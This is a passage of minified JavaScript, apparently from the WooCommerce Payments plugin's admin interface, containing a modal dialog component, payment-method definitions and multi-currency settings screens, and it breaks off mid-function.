e.startsWith("{{/")?{type:"componentClose",value:e.replace(/\W/g,"")}:e.endsWith("/}}")?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.startsWith("{{")?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}function cd(e,t){let r,n,o=[];for(let a=0;a<e.length;a++){const i=e[a];if("string"!==i.type){if(void 0===t[i.value])throw new Error(`Invalid interpolation, missing component node: \`${i.value}\``);if("object"!=typeof t[i.value])throw new Error(`Invalid interpolation, component node must be a ReactElement or null: \`${i.value}\``);if("componentClose"===i.type)throw new Error(`Missing opening component token: \`${i.value}\``);if("componentOpen"===i.type){r=t[i.value],n=a;break}o.push(t[i.value])}else o.push(i.value)}if(r){const a=function(e,t){const r=t[e];let n=0;for(let o=e+1;o<t.length;o++){const e=t[o];if(e.value===r.value){if("componentOpen"===e.type){n++;continue}if("componentClose"===e.type){if(0===n)return o;n--}}}throw new Error("Missing closing component token `"+r.value+"`")}(n,e),i=cd(e.slice(n+1,a),t),s=(0,U.cloneElement)(r,{},i);if(o.push(s),a<e.length-1){const r=cd(e.slice(a+1),t);o=o.concat(r)}}return o=o.filter(Boolean),0===o.length?null:1===o.length?o[0]:(0,U.createElement)(U.Fragment,null,...o)}function ld(e){const{mixedString:t,components:r,throwErrors:n}=e;if(!r)return t;if("object"!=typeof r){if(n)throw new Error(`Interpolation Error: unable to process \`${t}\` because components is not an object`);return t}const o=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(sd)}(t);try{return cd(o,r)}catch(e){if(n)throw new Error(`Interpolation Error: unable to process \`${t}\` because of error \`${e.message}\``);return t}}const ud=window.wp.keycodes,dd=(0,L.createElement)(su.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,L.createElement)(su.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),md=new Set(["alert","status","log","marquee","timer"]);let pd=[],yd=!1;let fd=0;const _d=(0,L.forwardRef)((function e(t,r){const{bodyOpenClassName:n="modal-open",role:o="dialog",title:a=null,focusOnMount:i=!0,shouldCloseOnEsc:s=!0,shouldCloseOnClickOutside:c=!0,isDismissible:l=!0,aria:u={labelledby:null,describedby:null},onRequestClose:d,icon:m,closeButtonLabel:p,children:y,style:f,overlayClassName:_,className:h,contentLabel:g,onKeyDown:b,isFullScreen:E=!1,__experimentalHideHeader:v=!1}=t,w=(0,L.useRef)(),S=(0,au.useInstanceId)(e),T=a?`components-modal-header-${S}`:u.labelledby,R=(0,au.useFocusOnMount)(i),O=(0,au.useConstrainedTabbing)(),C=(0,au.useFocusReturn)(),A=(0,au.__experimentalUseFocusOutside)(d);return(0,L.useEffect)((()=>(fd++,1===fd&&(function(e){if(yd)return;const t=document.body.children;(0,it.forEach)(t,(t=>{t!==e&&function(e){const t=e.getAttribute("role");return!("SCRIPT"===e.tagName||e.hasAttribute("aria-hidden")||e.hasAttribute("aria-live")||md.has(t))}(t)&&(t.setAttribute("aria-hidden","true"),pd.push(t))})),yd=!0}(w.current),document.body.classList.add(n)),()=>{fd--,0===fd&&(document.body.classList.remove(n),yd&&((0,it.forEach)(pd,(e=>{e.removeAttribute("aria-hidden")})),pd=[],yd=!1))})),[]),(0,L.createPortal)((0,L.createElement)("div",{ref:(0,au.useMergeRefs)([w,r]),className:ou()("components-modal__screen-overlay",_),onKeyDown:function(e){s&&e.keyCode===ud.ESCAPE&&!e.defaultPrevented&&(e.preventDefault(),d&&d(e))}},(0,L.createElement)(xu,{document},(0,L.createElement)("div",Y({className:ou()("components-modal__frame",h,{"is-full-screen":E}),style:f,ref:(0,au.useMergeRefs)([O,C,R]),role:o,"aria-label":g,"aria-labelledby":g?null:T,"aria-describedby":u.describedby,tabIndex:"-1"},c?A:{},{onKeyDown:b}),(0,L.createElement)("div",{className:ou()("components-modal__content",{"hide-header":v}),role:"document"},!v&&(0,L.createElement)("div",{className:"components-modal__header"},(0,L.createElement)("div",{className:"components-modal__header-heading-container"},m&&(0,L.createElement)("span",{className:"components-modal__icon-container","aria-hidden":!0},m),a&&(0,L.createElement)("h1",{id:T,className:"components-modal__header-heading"},a)),l&&(0,L.createElement)(ad,{onClick:d,icon:dd,label:p||(0,j.__)("Close dialog")})),y)))),document.body)}));var hd=function(){return hd=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},hd.apply(this,arguments)};const gd=function(e){var t=e.children,r=e.actions,n=e.className,o=function(e,t){var r={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var o=0;for(n=Object.getOwnPropertySymbols(e);o<n.length;o++)t.indexOf(n[o])<0&&Object.prototype.propertyIsEnumerable.call(e,n[o])&&(r[n[o]]=e[n[o]])}return r}(e,["children","actions","className"]);return B().createElement(_d,hd({className:ou()("wcpay-confirmation-modal",n)},o),t,B().createElement(su.HorizontalRule,{className:"wcpay-confirmation-modal__separator"}),B().createElement("div",{className:"wcpay-confirmation-modal__footer"},r))};var bd=r(737);const Ed=e=>{let{symbol:t}=e;return(0,L.createElement)("div",{className:"currency-delete-illustration__wrapper"},(0,L.createElement)("div",{className:"currency-delete-illustration__illustrations"},t,(0,L.createElement)(bd.Z,{className:"currency-delete-illustration__currency-cross-icon"})))};var vd=r(7884),wd=r(1270),Sd=r(7077),Td=r(6120),Rd=r(3516),Od=r(8125),Cd=r(725),Ad=r(3116),Nd=r(5962),Id=r(2851),kd=r(1274),xd=r(6752),Dd=function(){return Dd=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},Dd.apply(this,arguments)},Pd=function(e,t){return function(r){return B().createElement("img",Dd({src:e,alt:t},r))}};const Md={card:{id:"card",label:(0,j.__)("Credit / Debit card","woocommerce-payments"),brandTitles:{amex:(0,j.__)("American Express","woocommerce-payments"),diners:(0,j.__)("Diners Club","woocommerce-payments"),discover:(0,j.__)("Discover","woocommerce-payments"),jcb:(0,j.__)("JCB","woocommerce-payments"),mastercard:(0,j.__)("Mastercard","woocommerce-payments"),unionpay:(0,j.__)("UnionPay","woocommerce-payments"),visa:(0,j.__)("Visa","woocommerce-payments")},description:(0,j.__)("Let your customers pay with major credit and debit cards without leaving your store.","woocommerce-payments"),icon:Pd(vd,"Credit Card"),currencies:[],stripe_key:"card_payments",allows_manual_capture:!0,allows_pay_later:!1},au_becs_debit:{id:"au_becs_debit",label:(0,j.__)("BECS Direct Debit","woocommerce-payments"),brandTitles:{au_becs_debit:(0,j.__)("BECS Direct Debit","woocommerce-payments")},description:(0,j.__)("Bulk Electronic Clearing System — Accept secure bank transfer from Australia.","woocommerce-payments"),icon:Pd(Nd,"BECS Direct Debit"),currencies:["AUD"],stripe_key:"au_becs_debit_payments",allows_manual_capture:!1,allows_pay_later:!1},bancontact:{id:"bancontact",label:(0,j.__)("Bancontact","woocommerce-payments"),brandTitles:{bancontact:(0,j.__)("Bancontact","woocommerce-payments")},description:(0,j.__)("Bancontact is a bank redirect payment method offered by more than 80% of online businesses in Belgium.","woocommerce-payments"),icon:Pd(wd,"Bancontact"),currencies:["EUR"],stripe_key:"bancontact_payments",allows_manual_capture:!1,allows_pay_later:!1},eps:{id:"eps",label:(0,j.__)("EPS","woocommerce-payments"),brandTitles:{eps:(0,j.__)("EPS","woocommerce-payments")},description:(0,j.__)("Accept your payment with EPS — a common payment method in Austria.","woocommerce-payments"),icon:Pd(Sd,"EPS"),currencies:["EUR"],stripe_key:"eps_payments",allows_manual_capture:!1,allows_pay_later:!1},giropay:{id:"giropay",label:(0,j.__)("giropay","woocommerce-payments"),brandTitles:{giropay:(0,j.__)("giropay","woocommerce-payments")},description:(0,j.__)("Expand your business with giropay — Germany’s second most popular payment system.","woocommerce-payments"),icon:Pd(Td,"giropay"),currencies:["EUR"],stripe_key:"giropay_payments",allows_manual_capture:!1,allows_pay_later:!1},ideal:{id:"ideal",label:(0,j.__)("iDEAL","woocommerce-payments"),brandTitles:{ideal:(0,j.__)("iDEAL","woocommerce-payments")},description:(0,j.__)("Expand your business with iDEAL — Netherlands’s most popular payment method.","woocommerce-payments"),icon:Pd(Ad,"iDEAL"),currencies:["EUR"],stripe_key:"ideal_payments",allows_manual_capture:!1,allows_pay_later:!1},p24:{id:"p24",label:(0,j.__)("Przelewy24 (P24)","woocommerce-payments"),brandTitles:{p24:(0,j.__)("Przelewy24 (P24)","woocommerce-payments")},description:(0,j.__)("Accept payments with Przelewy24 (P24), the most popular payment method in Poland.","woocommerce-payments"),icon:Pd(Cd,"Przelewy24 (P24)"),currencies:["EUR","PLN"],stripe_key:"p24_payments",allows_manual_capture:!1,allows_pay_later:!1},sepa_debit:{id:"sepa_debit",label:(0,j.__)("SEPA Direct Debit","woocommerce-payments"),brandTitles:{sepa_debit:(0,j.__)("SEPA Direct Debit","woocommerce-payments")},description:(0,j.__)("Reach 500 million customers and over 20 million businesses across the European Union.","woocommerce-payments"),icon:Pd(Od,"SEPA Direct Debit"),currencies:["EUR"],stripe_key:"sepa_debit_payments",allows_manual_capture:!1,allows_pay_later:!1},sofort:{id:"sofort",label:(0,j.__)("Sofort","woocommerce-payments"),brandTitles:{sofort:(0,j.__)("Sofort","woocommerce-payments")},description:(0,j.__)("Accept secure bank transfers from Austria, Belgium, Germany, Italy, Netherlands, and Spain.","woocommerce-payments"),icon:Pd(Rd,"Sofort"),currencies:["EUR"],stripe_key:"sofort_payments",allows_manual_capture:!1,allows_pay_later:!1},affirm:{id:"affirm",label:(0,j.__)("Affirm","woocommerce-payments"),brandTitles:{affirm:(0,j.__)("Affirm","woocommerce-payments")},description:(0,j.__)("Allow customers to pay over time with Affirm. Available to all customers paying in %s.","woocommerce-payments"),icon:Pd(Id,"Affirm"),currencies:["USD","CAD"],stripe_key:"affirm_payments",allows_manual_capture:!1,allows_pay_later:!0},afterpay_clearpay:{id:"afterpay_clearpay",label:(0,j.__)("Afterpay","woocommerce-payments"),brandTitles:{afterpay_clearpay:(0,j.__)("Afterpay","woocommerce-payments")},description:(0,j.__)("Allow customers to pay over time with Afterpay. Available to all customers paying in %s.","woocommerce-payments"),icon:Pd(kd,"Afterpay"),currencies:["USD","AUD","CAD","NZD","GBP","EUR"],stripe_key:"afterpay_clearpay_payments",allows_manual_capture:!1,allows_pay_later:!0},jcb:{id:"jcb",label:(0,j.__)("JCB","woocommerce-payments"),brandTitles:{jcb:(0,j.__)("JCB","woocommerce-payments")},description:(0,j.__)("Let your customers pay with JCB, the only international payment brand based in Japan.","woocommerce-payments"),icon:Pd(xd,"JCB"),currencies:["JPY"],stripe_key:"card_payments",allows_manual_capture:!1,allows_pay_later:!1,setup_required:!0,setup_tooltip:(0,j.__)("JCB is coming soon to your country.","woocommerce-payments")}},Fd=e=>{let{name:t,showName:r}=e;const n=Md[t];if(!n)return(0,L.createElement)(L.Fragment,null);const{label:o,icon:a}=n;return(0,L.createElement)("span",{className:ou()("woocommerce-payments__payment-method-icon",{"has-icon-border":"card"!==t})},(0,L.createElement)(a,null),r&&(0,L.createElement)("span",{className:"woocommerce-payments__payment-method-icon__label"},o))},Ld=e=>{let{code:t,label:r,symbol:n,onClick:o,className:a}=e;const[i,s]=(0,L.useState)(!1),c=window.multiCurrencyPaymentMethodsMap,l=c&&c[t]&&Object.keys(c[t]).length>0,u=l?Object.keys(c[t]):[],d=(0,L.useCallback)((()=>{l?s(!0):o(t)}),[s,l,o,t]),m=(0,L.useCallback)((()=>{s(!1),o(t)}),[o,s,t]),p=(0,L.useCallback)((()=>{s(!1)}),[s]);return(0,L.createElement)(L.Fragment,null,i&&(0,L.createElement)(gd,{title:ld({mixedString:(0,j.sprintf)((0,j.__)("{{infoIcon /}} Remove %1$s","woocommerce-payments"),r),components:{infoIcon:(0,L.createElement)(id.Z,{className:"currency-delete-illustration__currency-info-icon"})}}),onRequestClose:p,className:"enabled-currency-delete-modal",actions:(0,L.createElement)(L.Fragment,null,(0,L.createElement)(ad,{onClick:m,isPrimary:!0,isDestructive:!0},(0,j.__)("Remove","woocommerce-payments")),(0,L.createElement)(ad,{onClick:p,isSecondary:!0},(0,j.__)("Cancel","woocommerce-payments")))},(0,L.createElement)(Ed,{symbol:n}),(0,L.createElement)("p",null,ld({mixedString:(0,j.sprintf)((0,j.__)("Are you sure you want to remove {{strong}}%s (%s){{/strong}}? Your customers will no longer be able to pay in this currency and use payment methods listed below.","woocommerce-payments"),r,t===n?t:[t,n].join(" ")),components:{strong:(0,L.createElement)("strong",null)}})),(0,L.createElement)("ul",null,u.map((e=>(0,L.createElement)("li",{key:"pm-icon-wrapper-"+e},(0,L.createElement)(Fd,{key:"pm-icon-"+e,name:e,showName:!0}))))),(0,L.createElement)("p",null,(0,j.sprintf)((0,j.__)("You can add %s (%s) again at any time in Multi-Currency settings.","woocommerce-payments"),r,t===n?t:[t,n].join(" ")))),(0,L.createElement)(ad,{isLink:!0,"aria-label":(0,j.sprintf)((0,j.__)("Remove %1$s as an enabled currency","woocommerce-payments"),r),className:a,onClick:d},(0,L.createElement)(td,{icon:"trash"})))},Ud=(0,U.createContext)(),Bd=e=>{let{currency:{code:t,flag:r,id:n,is_default:o,name:a,symbol:i,rate:s},defaultCurrency:{code:c,is_zero_decimal:l},onDeleteClick:u}=e;const{openSingleCurrencySettings:d}=(0,U.useContext)(Ud);return(0,L.createElement)("li",{className:ou()("enabled-currency",n)},(0,L.createElement)("div",{className:"enabled-currency__container"},(0,L.createElement)("div",{className:"enabled-currency__flag"},""!==r?r:(0,L.createElement)("div",{className:"enabled-currency__flag-text"},(0,L.createElement)("span",null,t))),(0,L.createElement)("div",{className:"enabled-currency__label"},a),(0,L.createElement)("div",{className:"enabled-currency__code"},"(",i+(i===t?"":` ${t}`),")")),(0,L.createElement)("div",{className:"enabled-currency__rate"},(()=>{const e=l?Number.parseFloat(1e3*s).toFixed(2):Number.parseFloat(s).toFixed(2);return o?(0,j.__)("Default currency","woocommerce-payments"):l?`1,000 ${c} → ${e} ${t}`:`1 ${c} → ${e} ${t}`})()),(0,L.createElement)("div",{className:"enabled-currency__actions"},!o&&(0,L.createElement)(ad,{isLink:!0,onClick:()=>{d(t)},"aria-label":(0,j.sprintf)((0,j.__)("Edit %1$s","woocommerce-payments"),a),className:"enabled-currency__action edit"},(0,j.__)("manage","woocommerce-payments")),u&&(0,L.createElement)(Ld,{className:"enabled-currency__action delete",onClick:u,label:a,code:t,symbol:i})))};var $d=function(){return $d=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},$d.apply(this,arguments)},zd=function(e){var t=e.isLoading,r=e.display,n=e.placeholder,o=e.value,a=e.children;return t?U.createElement("span",{className:r?"is-loadable-placeholder is-"+r:"is-loadable-placeholder","aria-busy":"true"},void 0===n?a||o:n):U.createElement(U.Fragment,null,a||o)},jd=function(e){var t=U.createElement("p",{style:{lineHeight:e.numLines}},"Block placeholder");return U.createElement(zd,$d({},e,{placeholder:t,display:"block"}))};const Yd=e=>{let{isLoading:t}=e;return(0,L.createElement)("li",{className:ou()("enabled-currency-placeholder","enabled-currency")},(0,L.createElement)("div",{className:"enabled-currency__container"},(0,L.createElement)("div",{className:"enabled-currency__flag"},(0,L.createElement)(jd,{isLoading:t,numLines:1},(0,L.createElement)("div",{className:"enabled-currency__flag-text"}))),(0,L.createElement)("div",{className:"enabled-currency__label"},(0,L.createElement)(jd,{isLoading:t,numLines:1})),(0,L.createElement)("div",{className:"enabled-currency__code"},(0,L.createElement)(jd,{isLoading:t,numLines:1}))),(0,L.createElement)("div",{className:"enabled-currency__rate"},(0,L.createElement)(jd,{isLoading:t,numLines:1})),(0,L.createElement)("div",{className:"enabled-currency__actions"},(0,L.createElement)(jd,{isLoading:t,numLines:1})))},Hd=e=>{let{children:t}=e;return(0,L.createElement)("ul",null,t)},Vd=function(e){let{icon:t,size:r=24,...n}=e;return(0,L.cloneElement)(t,{width:r,height:r,...n})},Wd=(0,L.createElement)(su.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,L.createElement)(su.Path,{d:"M7 11.5h10V13H7z"})),qd=(0,L.createElement)(su.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,L.createElement)(su.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})),Gd={"default.fontFamily":"-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif","default.fontSize":"13px","helpText.fontSize":"12px",mobileTextMinFontSize:"16px"};function Qd(e){return(0,it.get)(Gd,e,"")}const Zd=kt("div",{target:"ej5x27r4"})("font-family:",Qd("default.fontFamily"),";font-size:",Qd("default.fontSize"),";"),Kd=kt("div",{target:"ej5x27r3"})((e=>{let{__nextHasNoMarginBottom:t=!1}=e;return!t&&at("margin-bottom:",Ht(2),";","")})," .components-panel__row &{margin-bottom:inherit;}"),Xd=at("display:inline-block;margin-bottom:",Ht(2),";",""),Jd=kt("label",{target:"ej5x27r2"})(Xd,";");var em={name:"11yad0w",styles:"margin-bottom:revert"};const tm=kt("p",{target:"ej5x27r1"})("margin-top:",Ht(2),";margin-bottom:0;font-size:",Qd("helpText.fontSize"),";font-style:normal;color:",Nr.mediumGray.text,";",(e=>{let{__nextHasNoMarginBottom:t=!1}=e;return!t&&em}),";"),rm=kt("span",{target:"ej5x27r0"})(Xd,";"),nm=e=>{let{__nextHasNoMarginBottom:t=!1,id:r,label:n,hideLabelFromVision:o=!1,help:a,className:i,children:s}=e;return(0,L.createElement)(Zd,{className:ou()("components-base-control",i)},(0,L.createElement)(Kd,{className:"components-base-control__field",__nextHasNoMarginBottom:t},n&&r&&(o?(0,L.createElement)(nd,{as:"label",htmlFor:r},n):(0,L.createElement)(Jd,{className:"components-base-control__label",htmlFor:r},n)),n&&!r&&(o?(0,L.createElement)(nd,{as:"label"},n):(0,L.createElement)(nm.VisualLabel,null,n)),s),!!a&&(0,L.createElement)(tm,{id:r?r+"__help":void 0,className:"components-base-control__help",__nextHasNoMarginBottom:t},a))};nm.VisualLabel=e=>{let{className:t,children:r}=e;return(0,L.createElement)(rm,{className:ou()("components-base-control__label",t)},r)};const om=nm;function am(e){let{label:t,className:r,heading:n,checked:o,indeterminate:a,help:i,onChange:s,...c}=e;n&&Kr()("`heading` prop in `CheckboxControl`",{alternative:"a separate element to implement a heading",since:"5.8"});const[l,u]=(0,L.useState)(!1),[d,m]=(0,L.useState)(!1),p=(0,au.useRefEffect)((e=>{e&&(e.indeterminate=!!a,u(e.matches(":checked")),m(e.matches(":indeterminate")))}),[o,a]),y=`inspector-checkbox-control-${(0,au.useInstanceId)(am)}`;return(0,L.createElement)(om,{label:n,id:y,help:i,className:ou()("components-checkbox-control",r)},(0,L.createElement)("span",{className:"components-checkbox-control__input-container"},(0,L.createElement)("input",Y({ref:p,id:y,className:"components-checkbox-control__input",type:"checkbox",value:"1",onChange:e=>s(e.target.checked),checked:o,"aria-describedby":i?y+"__help":void 0},c)),d?(0,L.createElement)(Vd,{icon:Wd,className:"components-checkbox-control__indeterminate",role:"presentation"}):null,l?(0,L.createElement)(Vd,{icon:qd,className:"components-checkbox-control__checked",role:"presentation"}):null),(0,L.createElement)("label",{className:"components-checkbox-control__label",htmlFor:y},t))}const im=e=>{let{onChange:t,checked:r=!1,currency:{flag:n,symbol:o,code:a,name:i}}=e;const s=(0,L.useCallback)((e=>{t(a,e)}),[a,t]);return(0,L.createElement)("li",{className:"enabled-currency-checkbox"},(0,L.createElement)(am,{code:a,checked:r,onChange:s,label:ld({mixedString:"{{flag /}} {{name /}} {{code /}}",components:{flag:(0,L.createElement)("span",{className:"enabled-currency-checkbox__flag"},""!==n?n:(0,L.createElement)("div",{className:"enabled-currency-checkbox__flag-text"},(0,L.createElement)("span",null,a))),name:(0,L.createElement)("span",null,i),code:(0,L.createElement)("span",{className:"enabled-currency-checkbox__code"},"(",o,o!==a&&" "+a,")")}})}))},sm=(0,L.createElement)(su.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,L.createElement)(su.Path,{d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"})),cm=e=>(0,L.createElement)("div",{className:"search"},(0,L.createElement)(Vd,{className:"search__icon",icon:sm}),(0,L.createElement)("input",Y({},e,{type:"text",className:"components-text-control__input"}))),lm=e=>{let{className:t}=e;const r=(0,oo.useSelect)((e=>{const{getAvailableCurrencies:t}=e(so);return t()})),n=Object.keys(r),o=(0,L.useRef)(null),{enabledCurrencies:a,submitEnabledCurrenciesUpdate:i}=Ic(),s=Object.keys(a),c=xc().code;n.splice(n.indexOf(c),1);const[l,u]=(0,L.useState)(""),[d,m]=(0,L.useState)({}),p=l?n.filter((e=>{const{symbol:t,name:n}=r[e];return`${t} ${e} ${n}`.toLocaleLowerCase().indexOf(l.toLocaleLowerCase())>-1})):n,y=(0,L.useCallback)((()=>{m(n.reduce(((e,t)=>(e[t]=s.includes(t),e)),{}))}),[s,n]);(0,L.useEffect)((()=>{y()}),[JSON.stringify(n),JSON.stringify(s)]);const f=(e,t)=>{m((r=>({...r,[e]:t})))},[_,h]=(0,L.useState)(!1),[g,b]=(0,L.useState)(!1),E=(0,L.useCallback)((()=>{h(!0)}),[h]),v=(0,L.useCallback)((()=>{h(!1),b(!1),u(""),y()}),[h,y]);return(0,L.useEffect)((()=>{_&&o&&!1===g&&b(o.current.offsetWidth)}),[JSON.stringify(p),_]),(0,L.createElement)(L.Fragment,null,_&&(0,L.createElement)(gd,{title:(0,j.__)("Add enabled currencies","woocommerce-payments"),onRequestClose:v,className:"add-enabled-currencies-modal",actions:(0,L.createElement)(L.Fragment,null,(0,L.createElement)(ad,{isSecondary:!0,onClick:v},(0,j.__)("Cancel","woocommerce-payments")),(0,L.createElement)(ad,{isPrimary:!0,onClick:()=>{h(!1),b(!1),u("");const e=Object.entries(d).filter((e=>{let[,t]=e;return t})).map((e=>{let[t]=e;return t}));e.push(c),e.sort(),i(e)}},(0,j.__)("Update selected","woocommerce-payments")))},(0,L.createElement)("div",{className:"add-enabled-currencies-modal__search"},(0,L.createElement)(cm,{value:l,placeholder:(0,j.__)("Search currencies","woocommerce-payments"),onChange:e=>{u(e.target.value)}})),(0,L.createElement)("h3",null,l?(0,j.sprintf)((0,j.__)("Search results (%1$d currencies)","woocommerce-payments"),p.length):(0,j.__)("All currencies","woocommerce-payments")),(0,L.createElement)("div",{className:"add-enabled-currencies-modal__content",ref:o,style:{width:g||"auto"}},(0,L.createElement)(Hd,null,p.map((e=>(0,L.createElement)(im,{key:r[e].id,checked:d[e],onChange:f,currency:r[e]})))))),(0,L.createElement)(ad,{variant:"secondary",className:t,onClick:E},(0,j.__)("Add/remove currencies","woocommerce-payments")))},um=function(e){var t=e.description,r=void 0===t?function(){return null}:t,n=e.children,o=e.className,a=e.id;return B().createElement("div",{className:ou()("settings-section",o),id:a},B().createElement("div",{className:"settings-section__details"},B().createElement(r,null)),B().createElement("div",{className:"settings-section__controls"},n))},dm=()=>{const e="https://woocommerce.com/document/woocommerce-payments/currencies/multi-currency-setup/";return(0,L.createElement)(L.Fragment,null,(0,L.createElement)("h2",null,(0,j.__)("Enabled currencies","woocommerce-payments")),(0,L.createElement)("p",null,(0,L.createInterpolateElement)((0,j.sprintf)((0,j.__)("Accept payments in multiple currencies. Prices are converted based on exchange rates and rounding rules. <learnMoreLink>Learn more</learnMoreLink>","woocommerce-payments"),e),{learnMoreLink:(0,L.createElement)("a",{href:e,target:"_blank",rel:"noreferrer"})})))},mm=()=>{const{isLoading:e}=Nc(),t=xc(),{enabledCurrencies:r,submitEnabledCurrenciesUpdate:n}=Ic(),o="wcpay-multi-currency",a=e=>{const t=Object.keys(r);t.splice(t.indexOf(e),1),n(t)},i=r?Object.keys(r):[];return(0,L.createElement)(um,{description:dm,className:"multi-currency-settings-enabled-currencies-section"},(0,L.createElement)(ln,{className:`${o}__enabled-currencies`},(0,L.createElement)(hn,{className:`${o}__enabled-currencies-header`},(0,L.createElement)("div",null,(0,j.__)("Name","woocommerce-payments")),(0,L.createElement)("div",null,(0,j.__)("Exchange rate","woocommerce-payments")),(0,L.createElement)("div",null)),(0,L.createElement)(no,null),(0,L.createElement)(hn,{size:null},(0,L.createElement)(ru,{className:"enabled-currencies-list"},!e&&r&&i.map((e=>(0,L.createElement)(Bd,{key:r[e].id,currency:r[e],defaultCurrency:t,onDeleteClick:r[e].is_default?void 0:a}))),e&&[1,2,3,4,5].map((e=>(0,L.createElement)(Yd,{key:"loadable-placeholder-"+e,isLoading:1}))))),(0,L.createElement)(no,null),(0,L.createElement)(hn,{className:`${o}__available-currencies-container`},r&&(0,L.createElement)(lm,{className:`${o}__available-currencies-modal`}))))},pm=e=>{let{isPreviewModalOpen:t,setPreviewModalOpen:r,isStorefrontSwitcherEnabledValue:n,isAutomaticSwitchEnabledValue:o}=e;const{storeSettings:a}=kc();return t&&(0,L.createElement)(_d,{title:(0,j.__)("Preview","woocommerce-payments"),isDismissible:!0,className:"multi-currency-store-settings-preview-modal",shouldCloseOnClickOutside:!1,onRequestClose:()=>{r(!1)}},(0,L.createElement)("iframe",{title:(0,j.__)("Preview","woocommerce-payments"),className:"multi-currency-store-settings-preview-iframe",src:"/"+a.store_url+"?is_mc_onboarding_simulation=1&enable_storefront_switcher="+n+"&enable_auto_currency="+o}))},ym=()=>{const e="https://woocommerce.com/document/woocommerce-payments/currencies/multi-currency-setup/";return(0,L.createElement)(L.Fragment,null,(0,L.createElement)("h2",null,(0,j.__)("Store settings","woocommerce-payments")),(0,L.createElement)("p",null,(0,L.createInterpolateElement)((0,j.sprintf)((0,j.__)("Store settings allow your customers to choose which currency they would like to use when shopping at your store. <learnMoreLink>Learn more</learnMoreLink>","woocommerce-payments"),e),{learnMoreLink:(0,L.createElement)("a",{href:e,target:"_blank",rel:"noreferrer"})})))},fm=()=>{const{storeSettings:e,isLoading:t,submitStoreSettingsUpdate:r}=kc(),[n,o]=(0,U.useState)(!1),[a,i]=(0,U.useState)(!1),[s,c]=(0,U.useState)(!1),[l,u]=(0,U.useState)(!1);return(0,U.useEffect)((()=>{Object.keys(e).length&&(c(e.enable_storefront_switcher),i(e.enable_auto_currency))}),[i,c,e]),(0,L.createElement)(L.Fragment,null,(0,L.createElement)(um,{description:ym,className:"multi-currency-settings-store-settings-section"},(0,L.createElement)(jd,{isLoading:t,numLines:10},(0,L.createElement)(ln,{className:"multi-currency-settings__wrapper"},(0,L.createElement)(hn,null,(0,L.createElement)(am,{checked:a,onChange:e=>{i(e)},"data-testid":"enable_auto_currency",label:(0,j.__)("Automatically switch customers to their local currency if it has been enabled","woocommerce-payments")}),(0,L.createElement)("div",{className:"multi-currency-settings__description"},(0,L.createInterpolateElement)((0,j.__)("Customers will be notified via store alert banner. <previewLink>Preview</previewLink>","woocommerce-payments"),{previewLink:(0,L.createElement)(ad,{isLink:!0,onClick:()=>{u(!0)}})})),"Storefront"===e.site_theme?(0,L.createElement)(am,{checked:s,onChange:e=>{c(e)},"data-testid":"enable_storefront_switcher",label:(0,j.__)("Add a currency switcher to the Storefront theme on breadcrumb section.","woocommerce-payments")}):null,(0,L.createElement)("div",{className:"multi-currency-settings__description"},(0,L.createInterpolateElement)((0,j.sprintf)((0,j.__)("A currency switcher is also available in your widgets. <linkToWidgets>Configure now</linkToWidgets>","woocommerce-payments"),"widgets.php"),{linkToWidgets:(0,L.createElement)("a",{href:"widgets.php"})}))),(0,L.createElement)(pm,{isPreviewModalOpen:l,setPreviewModalOpen:u,isStorefrontSwitcherEnabledValue:!1,isAutomaticSwitchEnabledValue:!0})))),(0,L.createElement)(um,{className:"multi-currency-settings-save-settings-section"},(0,L.createElement)(ad,{isPrimary:!0,isBusy:n,disabled:n,onClick:()=>{o(!0),r(a,s),o(!1)}},(0,j.__)("Save changes","woocommerce-payments"))))},_m=()=>(0,L.createElement)("div",{className:"multi-currency-settings"},(0,L.createElement)(vn,{displayBanner:!1},(0,L.createElement)(mm,null),(0,L.createElement)(fm,null))),hm=window.wc.components,gm=e=>{let{storeCurrency:t,targetCurrency:r,currencyRate:n=null,roundingValue:o,charmValue:a}=e;const[i,s]=(0,U.useState)(20),[c,l]=(0,U.useState)(0),u=(0,U.useCallback)((e=>{const i=parseFloat(e.toString().replace(/,/g,"."))*parseFloat(n||r.rate),s=(parseFloat(o)?Math.ceil(i/parseFloat(o))*parseFloat(o):i)+parseFloat(a);return isNaN(s)?(0,j.__)("Please enter a valid number","woocommerce-payments"):No(Ao(r.code)?s:100*s,r.code,t.code)}),[a,n,o,r,t]);(0,U.useEffect)((()=>{if(r){const e=u(i);l(e)}}),[u,i,r,o,a,n]);const d=e=>{s(e);const 